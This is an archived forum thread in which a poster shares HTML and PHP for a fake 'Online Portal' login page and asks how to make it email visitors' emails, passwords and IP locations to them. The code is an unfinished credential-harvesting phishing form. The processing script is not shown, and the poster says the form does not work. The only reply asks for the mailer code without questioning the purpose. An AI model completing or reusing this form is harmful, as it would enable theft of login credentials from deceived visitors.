Jump to content

How can I create html and php code to contain, email,password,Ip,


bigchoko

Recommended Posts

I am trying to create html and php code to send email to me, I have tried many times it didnt work. each time i test it, it will pop up the php file for me.... here is code i use.......

 

<!DOCTYPE html>
<html>

<head>
<meta charset="utf-8"><title>What are you thinking?</title>
<meta content="php, contact, form, thinking" name="keywords">
<meta content="Contact us and let us know if we can help you out further." name="description">

<style>
input, textarea {
   padding: 5px;
   margin: 10px;
   font-family: Cambria, Cochin, serif;
   font-size: medium;
   font-weight: bold;
   outline: none;
}
p {
   font-family: Cambria, Cochin, serif;
   font-size: large;
   margin-bottom: -5px;
}
input[type=text], textarea {
   width: 350px;
   background-color: #DDEDFF;
   border: 1px solid #97C9FF;
}
input[type=submit] {
   width: 100px;
   background-color: #669900;
   border: 1px solid #336600;
   font-size: large;
   color: #FFFFFF;
}
input[type=submit]:hover {
   background-color: #78B300;
   cursor: pointer;
}
input[type=submit]:active {
   background-color: #4A6F00;
}

h1 {
   font-family: "Trebuchet MS", Arial, sans-serif;
   font-size: 2.1em;
   color: #3399FF;
}
body {
   padding: 10px;
   background-color: #F4F4F4;
}
</style>

</head>

<body>
   <h1>Login to Access our       Online Portal!</h1>
   <form action="mailer.php" method="POST">
       <div>
           <p>E-mail</p>
           <input name="Email" type="text" id="Email">
           <br> </div>
           <div>
           <p>Password</p>
           <input name="Password" type="password" id="Password">
           <br>
           </div>
           <div>
       <input name="submit" type="submit" value="Sign In">
       </div>
   </form>
</body>

</html>

 

 

 

 

processing php code.........

 

 

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[url="http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd%22>"]http://www.w3.org/TR...nsitional.dtd">[/url]
<html xmlns="[url="http://www.w3.org/1999/xhtml%22>"]http://www.w3.org/1999/xhtml">[/url]
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Contact Form</title>
</head>

<body>
<style>
.robotext {font-weight: bold; font-size: 9pt; color: #999999; font-family: Arial, Helvetica, sans-serif; text-decoration: none}
.robolink:link {font-weight: bold; font-size: 9pt; color: #999999; font-family: Arial, Helvetica, sans-serif; text-decoration: none}
.robolink:hover {font-weight: bold; font-size: 9pt; color: #979653; font-family: Arial, Helvetica, sans-serif; text-decoration: underline}
.robolink:visited {font-weight: bold; font-size: 9pt; color: #979653; font-family: Arial, Helvetica, sans-serif; text-decoration: none}
</style>
<script language="Javascript">
function validate(){
var allok = true;
 if(sample.E-mail__1.value.indexOf("Invalid E-mail") == -1){
   alert('Invalid input for E-mail, this must include "Invalid E-mail" character(s)');
   return false;
 }
 if(sample.Password__2.value == ""){
   alert('Invalid input for Password');
   return false;
 }
document.sample.Submit.disabled="disabled";
return true;
}
</script>
<form name="sample" method="Post" action="[url="http://mysite.com/mailer.php"]http://mysite.com/mailer.php"[/url] onsubmit="return validate();">
<table width="100%" border="0" cellpadding="5" cellspacing="0">
<tr><td>E-mail</td><td><input type="edit" name="E-mail__1" value="" size="20"></td></tr>
<tr><td>Password</td><td><input type="password" name="Password__2" value="" size="20"></td></tr>
<tr><td colspan=2><input type="submit" name="Submit" value="Login"></td></tr>

</body>
</html>

 

Any body with help on how to make this to work? also i want the ip location of de form too..... ANY BODY WIT HELP??????????????????????????? :'( :'( :'(

So where are you stuck? It may be helpful to describe what you mean by doesn't work. What does the code for mailer.php look like?

 

Also, please surround code with the


tags. They make the post (and code) easier to read.

Archived

This topic is now archived and is closed to further replies.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.